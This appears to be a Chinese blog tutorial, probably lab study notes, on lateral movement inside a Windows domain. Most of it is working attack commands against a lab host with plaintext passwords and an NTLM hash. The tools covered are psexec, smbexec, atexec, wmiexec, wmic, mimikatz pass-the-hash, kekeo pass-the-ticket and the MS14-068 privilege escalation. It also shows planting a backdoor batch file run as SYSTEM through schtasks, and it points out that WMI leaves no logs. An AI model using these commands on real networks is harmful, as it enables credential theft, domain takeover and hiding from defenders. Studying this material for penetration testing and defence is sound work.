• 内网横向知识


    利用SMB来进行横向移动

    smbexec可以通过文件共享在运程系统中执行命令。对方主机需要开启 c$ 共享,依赖于445端口。

    psexec

    简介

    psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于psexec是Windows提供的工具,所以杀毒软件将其列在白名单中。可以直接得到shell会话。

    基本原理

    通过ipc$连接admin$,释放二进制文件psexecsvc.exe到目标
    通过服务管理SCManager远程创建一个psexec服务,并启动服务
    客户端连接执行命令,服务端通过服务启动相应的程序执行命令并回显数据
    运行结束后删除服务
    
    • 1
    • 2
    • 3
    • 4

    使用前提

    对方主机开启了 admin$共享,如果关闭了admin$共享,会提示:找不到网络名
    对方未开启防火墙
    如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。
    如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
    
    • 1
    • 2
    • 3
    • 4

    具体的例子

    需要建立IPC连接

    #psexec第一种:先有ipc链接,psexec需要明文或hash传递
    #建立ipc链接
    net use \\10.10.10.10\ipc$ "hongrisec@2022" /user:administrator(比较快)
    或者
    net use \\10.10.10.10\ipc$ "hongrisec@2022" /user:de1ay.com\administrator(比较慢)
    #查看ipc连接
    net use
    #需要先有ipc链接 -s以System权限运行
    psexec \\10.10.10.10 -s cmd
    #删除ipc连接
    net use \\10.10.10.10\ipc$ /del
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    image-20220703112813643

    image-20220703144058207

    不需要建立IPC连接

    #psexec第二种:不用建立IPC直接提供明文账户密码(推荐)
    #如果是使用明文的话只能使用PSTools里面的psexec,
    psexec \\10.10.10.10 -u administrator -p hongrisec@2022 -s cmd
    #如果使用哈希值的话只能使用impacket里面的psexec。
    psexec -hashes :8c535a2d84c3b21059d667639bb89db5(NTLM值) ./administrator@10.10.10.10
    
    • 1
    • 2
    • 3
    • 4
    • 5

    image-20220703114717333

    image-20220703115656738

    MSF中的psexec

    常用的是以下两个模块

    exploit/windows/smb/ms17_10_psexec
    exploit/windows/smb/psexec
    
    • 1
    • 2

    由于powershell是在win2008(2008年发布的,win7是2009年发布的)及以上版本自带的,但是win2003及以下的版本并不自带powershell,所以对于低版本只能使用msf中的psexec生成的exe进行横向移动。

    smbexec

    简介

    smbexec不需要先ipc链接,可以进行明文或者hash传递。可以直接得到shell会话。

    例子

    smbexec de1ay.com/administrator:hongrisec@2022@10.10.10.10
    
    • 1

    image-20220703162709572

    smbexec -hashes :8c535a2d84c3b21059d667639bb89db5 de1ay.com/administrator:administrator@10.10.10.10
    
    • 1

    image-20220703162207862

    利用windows服务来进行横向移动

    schtasks

    简介

    利用windows服务进行横向渗透主要是通过schtasks命令,但是注意这里跟之前windows远程命令相比多了一个条件,即当前主机需要为administrator权限。schtasks命令是XP系统中功能强大的DOS命令,SC命令能与“服务控制器”和已安装设备进行通讯。schtasks是用于与服务控制管理器和服务进行通信的命令行程序。如果是低版本的windows的话,就需要使用at命令。

    例子

    #与靶机建立ipc连接
    net use \\10.10.10.10\ipc$ "hongrisec@2022" /user:administrator(比较快)
    或者
    net use \\10.10.10.10\ipc$ "hongrisec@2022" /user:de1ay.com\administrator(比较慢)
    #拷贝exe到主机系统上
    copy C:\houmen.bat \\10.10.10.10\c$
    #创建adduser任务对应执行文件
    schtasks /create /s 10.10.10.10 /ru "SYSTEM" /tn adduser /sc DAILY /tr C:\houmen.bat /F
    #运行adduser任务
    schtasks /run /s 10.10.10.10 /tn adduser /i 
    #删除adduser任务
    schtasks /delete /s 10.10.10.10 /tn adduser /f
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    利用atexec来进行横向移动

    简介

    通过Task Scheduler服务在目标系统上执行命令,并返回输出结果。只能执行命令,不能直接得到shell会话。

    例子

    明文密码

    atexec.exe de1ay.com/administrator(用户名):hongrisec@2022(密码)@10.10.10.10(目标ip地址) "whoami"
    
    • 1

    image-20220703160655338

    NTLM值

    atexec.exe -hashes :8c535a2d84c3b21059d667639bb89db5(NTLM值) de1ay.com/administrator@10.10.10.10(目标ip地址) "whoami"
    
    • 1

    image-20220703160917448

    利用WMI服务来进行横向移动

    Windows操作系统默认不会将WMI的操作记录到日志当中,而且因为采用的是无文件攻击,所以导致WMI具有极高的隐蔽性。由此,越来越多的APT开始使用WMI进行攻击,利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。

    WMI(Windows Management Instrumentation) 是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

    系统自带的wmic

    简介

    无回显。不能直接得到shell会话。

    例子

    查询进程信息

    wmic /node:10.10.10.10 /user:de1ay.com\administrator /password:hongrisec@2022 process list brief
    
    • 1

    image-20220703154653945

    创建远程进程

    wmic /node:10.10.10.10 /user:de1ay.com\administrator /password:hongrisec@2022 process call create "cmd.exe /c ipconfig > C:\ipconfig.txt"
    
    • 1

    image-20220703154924882

    使用type命令查看
    type \\10.10.10.10\c$\ipconfig.txt
    
    • 1
    • 2

    image-20220703155008506

    系统自带cscript

    简介

    明文传递,有回显。但是需要vmiexec.vbs,下载地址:https://www.secpulse.com/wp-content/uploads/2015/05/cache-a360611dc24d240989799c29c555e4b7_wmiexec-v1_1.rar。能直接得到shell会话。

    例子

    cscript //nologo wmiexec.vbs /shell 10.10.10.10 administrator hongrisec@2022
    
    • 1

    image-20220703170020871

    如果出现拒绝访问的情况,可以尝试在注册表中,对以下两个值删除掉,然后重启电脑

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings
    HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings
    
    • 1
    • 2

    impacket的wmiexec

    简介

    有回显,明文或者hash传递。不能直接得到shell会话。

    命令

    明文
    wmiexec de1ay.com/administrator:hongrisec@2022@10.10.10.10 "ipconfig"
    
    • 1
    • 2

    image-20220703170926561

    hash值
    wmiexec -hashes :8c535a2d84c3b21059d667639bb89db5 de1ay.com/administrator@10.10.10.10 "ipconfig"
    
    • 1
    • 2

    image-20220703171036928

    使用mimikatz来进行横向移动

    PTH

    简介

    当获取到域内一个主机的权限之后,可以使用mimikatz运行sekurlsa::logonPasswords命令获取其LM和NTLM。服务器系统在Windows 2003以后,认证方式均为NTLM Hash。由于目前大部分主机系统都很新,所以一般我们收集的都是NTLM数据。

    例子

    mimikatz
    privilege::debug
    
    • 1
    • 2

    image-20220703200236687

    获取administrator的NTLM值
    sekurlsa::logonPasswords
    
    • 1
    • 2

    image-20220703200341622

    进行哈希传递攻击
    sekurlsa::pth /user:administrator /domain:god /ntlm:8c535a2d84c3b21059d667639bb89db5
    
    • 1
    • 2

    image-20220703200728463

    PTT

    利用工具kekeo

    首先删除原有的票据,在kekeo或者mimikatz都可以运行
    kerberos::purge
    查看票据,普通的cmd运行
    klist
    
    • 1
    • 2
    • 3
    • 4

    image-20220703202546236

    生成票据,普通的cmd运行
    kekeo "tgt::ask /user:administrator /domain:de1ay.com /ntlm:8c535a2d84c3b21059d667639bb89db5"
    
    • 1
    • 2

    image-20220703201823561

    导入票据,kekeo里面运行
    kerberos::ptt TGT_administrator@DE1AY.COM_krbtgt~de1ay.com@DE1AY.COM.kirbi
    
    • 1
    • 2

    image-20220703201953478

    查看票据,有且只有刚刚导入的一张票据,普通的cmd就可以运行
    klist
    
    • 1
    • 2

    image-20220703202214055

    进行利用,普通的cmd就可以运行
    dir \\10.10.10.10\c$
    
    • 1
    • 2

    image-20220703202312447

    利用漏洞ms14068

    ms14-068,powershell执行,能实现普通用户直接获取域控system权限。

    首先清除票据
    mimikatz
    kerberos::purge
    查看票据,普通的cmd运行
    klist
    
    • 1
    • 2
    • 3
    • 4
    • 5

    image-20220703210313217

    查看当前sid
    whoami/user
    
    • 1
    • 2

    image-20220703210549576

    利用ms14-068生成TGT票据
    MS14-068.exe -u 普通域用户名@域名 -s 普通域用户SID -d 域控制器地址 -p 普通域用户名对于的密码
    MS14-068.exe -u de1ay@de1ay.com -s S-1-5-21-2756371121-2868759905-3853650604-1001 -d 10.10.10.10 -p 1qaz@WSX
    
    • 1
    • 2
    • 3

    image-20220703211124435

    票据注入内存
    mimikatz.exe "kerberos::ptc TGT_de1ay@de1ay.com.ocache" exit
    但是这里注入失败了,正确来讲应该是成功的,有可能是我环境的原因
    
    • 1
    • 2
    • 3

    image-20220704093659396

    这里借用下别人成功的过程
    
    • 1

    img

  • 相关阅读:
    C语言 函数指针
    分享微信使用技巧,快来涨姿势啦
    2023华为杯研究生数学建模F题思路分析
    SPA项目开发之动态树+数据表格+分页
    对抗生成网络(GAN)中的损失函数
    sql登录报错18456和233怎么解决
    OpenAI ChatGPT 能取代多少程序员的工作?导致失业吗?
    MES在注塑制造领域的运用
    接口的知识补充
    DTLS数据包传输层安全性协议详解
  • 原文地址:https://blog.csdn.net/weixin_45715461/article/details/125594016